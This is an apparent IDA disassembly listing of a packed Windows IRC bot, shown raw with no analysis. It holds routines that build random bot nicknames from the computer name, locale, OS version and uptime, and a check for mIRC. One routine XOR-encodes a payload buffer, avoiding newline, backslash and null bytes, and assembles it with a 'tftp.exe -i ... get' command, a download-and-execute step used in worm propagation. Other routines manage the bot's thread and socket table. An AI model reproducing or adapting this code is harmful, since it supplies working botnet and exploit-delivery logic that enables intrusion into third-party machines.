loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4315FC
		push	eax
		push	esi
		call	dword_4270C8	; GetComputerNameA
		movsx	eax, byte_4315FC
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: .packed:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: .packed:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: .packed:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: .packed:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: .packed:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A4
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: .packed:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4270CC	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431600
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: .packed:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A4
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: .packed:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB98
		mov	dword ptr [ebp-94h], 94h
		call	dword_4270D0	; GetVersionExA
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431628


loc_40AD2B:				; CODE XREF: .packed:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_431624
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD3B:				; CODE XREF: .packed:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431620
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: .packed:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: .packed:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431618
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: .packed:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_431614
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: .packed:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431610
		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: .packed:0040AD52j
					; .packed:0040AD62j
		mov	esi, offset dword_43160C


loc_40AD97:				; CODE XREF: .packed:0040AD32j
					; .packed:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431604
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: .packed:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A4
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: .packed:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_4270B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9F0	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_431634
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB98


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_43162C
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9F0	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_431634
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB98


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D924


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9B0
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D928[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB98
		mov	dword ptr [ebp-0B8h], 94h
		call	dword_4270D0	; GetVersionExA
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431628


loc_40AF38:				; CODE XREF: .packed:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_431624
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: .packed:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431620
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: .packed:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: .packed:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431618
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: .packed:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_431614
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: .packed:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_43168C
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: .packed:0040AF5Ej
					; .packed:0040AF6Ej
		mov	edi, offset dword_431688


loc_40AFA3:				; CODE XREF: .packed:0040AF3Fj
					; .packed:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB89C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_431684
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: .packed:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431680
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: .packed:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_43167C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: .packed:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431670
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: .packed:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_43166C
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431668
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_431664


loc_40B03C:				; CODE XREF: .packed:0040AFBFj
					; .packed:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: .packed:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: .packed:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: .packed:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: .packed:0040B084j
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		call	dword_4270CC	; GetLocaleInfoA
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: .packed:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A4
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: .packed:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_431724, eax
		lea	eax, [edi+1]
		mov	dword_431745, eax
		lea	eax, [edi+17h]
		mov	dword_43173D, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316C0
		push	ebx
		mov	dword_431753, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431749
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB28
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB28, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316A8
		push	[ebp+arg_0]
		mov	byte_4316B5, cl
		mov	byte_4316B9, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431690
		push	[ebp+arg_0]
		mov	word_43169E, cx
		mov	byte_4316A3, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: sub_401221+378p
					; sub_401221+3B7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E720


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB720
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E720[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E920[esi], eax
		and	dword_43E924[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E928[esi], 0
		mov	dword_43E92C[esi], eax
		and	byte_43E938[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B425	proc near		; DATA XREF: sub_401ACD+2946o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40B477
		push	[ebp+var_14]
		call	sub_40B6D6
		add	esp, 14h
		push	0
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_40B425	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B477	proc near		; CODE XREF: sub_40B425+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_431784
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43E720


loc_40B4A1:				; CODE XREF: sub_40B477+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40B4E2
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B4B5
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40B4E2


loc_40B4B5:				; CODE XREF: sub_40B477+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h


loc_40B4E2:				; CODE XREF: sub_40B477+2Dj
					; sub_40B477+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB720
		jl	short loc_40B4A1
		pop	edi
		pop	esi
		leave
		retn
sub_40B477	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E934[esi]
		lea	edi, dword_43E934[esi]
		call	dword_4270B4	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E928[esi]
		mov	dword_43E920[esi], ebx
		mov	dword_43E924[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E92C[esi]
		mov	byte ptr dword_43E720[esi], bl
		mov	byte_43E938[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA7C	; closesocket
		lea	esi, dword_43E930[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA7C	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; sub_401221:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E720


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
